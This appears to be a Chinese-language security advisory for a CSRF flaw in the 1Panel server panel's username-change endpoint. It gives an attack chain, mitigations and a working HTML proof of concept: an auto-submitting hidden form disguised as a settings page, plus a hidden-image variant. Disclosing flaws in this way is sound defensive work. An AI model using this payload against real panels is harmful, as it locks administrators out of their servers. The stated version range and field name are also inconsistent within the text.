CVE-2025-34410 | 1Panel CSRF漏洞导致账户锁定

漏洞信息

漏洞编号

CVE-2025-34410

漏洞类型

CSRF (跨站请求伪造)

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

1Panel

漏洞概述

1Panel是一款开源的Linux服务器管理面板，提供Web界面用于服务器运维管理。该漏洞存在于1Panel 1.10.33至2.0.15版本的设置面板(/settings/panel)中的更改用户名功能模块。攻击者利用跨站请求伪造(CSRF)漏洞，在用户不知情的情况下，通过构造恶意网页诱导已登录用户访问，借此向目标服务器发送更改用户名的请求。由于目标端点未实施有效的CSRF防护机制(如Anti-CSRF Token或Origin/Referer头验证)，服务器会错误地将攻击者构造的请求视为合法用户操作，从而成功修改受害用户的账户用户名。攻击完成后，受害用户将被强制登出系统，且无法使用原有用户名登录，导致账户锁定和拒绝服务(DoS)状态。此漏洞无需攻击者进行任何身份认证，仅需诱导用户访问恶意页面即可实现攻击。

技术细节

该CSRF漏洞的技术原理在于1Panel的/settings/panel端点缺少CSRF保护机制。漏洞利用过程如下：

1. 攻击者首先创建一个包含自动提交表单的恶意HTML页面，表单目标指向1Panel的/settings/panel端点
2. 表单中包含修改用户名所需的参数(new_username字段)
3. 当已登录1Panel的受害者访问该恶意页面时，浏览器会自动携带有效的会话Cookie向目标服务器发送POST请求
4. 服务器端由于缺少CSRF Token验证和Origin/Referer头检查，无法区分这是合法用户的操作还是来自恶意网站的伪造请求
5. 请求被成功处理，用户名被修改为攻击者指定的值
6. 服务器端检测到用户名变更后，执行安全退出操作，使受害者会话失效
7. 受害者无法使用原用户名登录，导致账户锁定

漏洞的核心问题在于：1) 缺少anti-CSRF token验证 2) 未验证请求的Origin或Referer头 3) 用户名变更后强制登出机制导致可用性问题

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标站点使用1Panel管理面板，并确定版本在1.10.33-2.0.15范围内

STEP 2

步骤2: 构造恶意页面

攻击者创建包含CSRF payload的恶意HTML页面，表单指向1Panel的/settings/panel端点，设置新的用户名为攻击者可控值

STEP 3

步骤3: 诱导受害者访问

攻击者通过钓鱼邮件、社交工程或其他方式诱导已登录1Panel的受害者访问恶意页面

STEP 4

步骤4: 自动发送伪造请求

受害者浏览器加载恶意页面后，自动向1Panel服务器发送携带有效会话Cookie的POST请求

STEP 5

步骤5: 服务器处理请求

服务器端因缺少CSRF保护机制，无法识别伪造请求，执行用户名修改操作

STEP 6

步骤6: 账户锁定

用户名修改成功后，服务器强制终止受害者会话，导致受害者被登出且无法使用原用户名登录

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-34410: 1Panel Change Username CSRF -->
<!DOCTYPE html>
<html>
<head>
    <title>1Panel Account Settings</title>
</head>
<body>
    <h1>1Panel Account Settings</h1>
    <p>Updating your account settings...</p>
    
    <form id="csrfForm" action="http://target:9999/settings/panel" method="POST">
        <input type="hidden" name="username" value="hacked_admin">
        <input type="hidden" name="button" value="save">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

<!-- Alternative PoC with img tag for GET-based trigger (if applicable) -->
<!--
<img src="http://target:9999/settings/panel?username=hacked_admin" style="display:none">
-->

影响范围

1Panel >= 1.10.33 且 < 2.0.15

防御指南

临时缓解措施

在官方修复版本发布前，可采取以下临时缓解措施：1) 限制1Panel管理界面的访问来源，仅允许受信任的IP访问；2) 使用浏览器插件阻止未知网站的脚本执行；3) 提醒用户不要点击可疑链接；4) 定期检查用户账户变更日志；5) 考虑使用VPN或专线访问管理面板。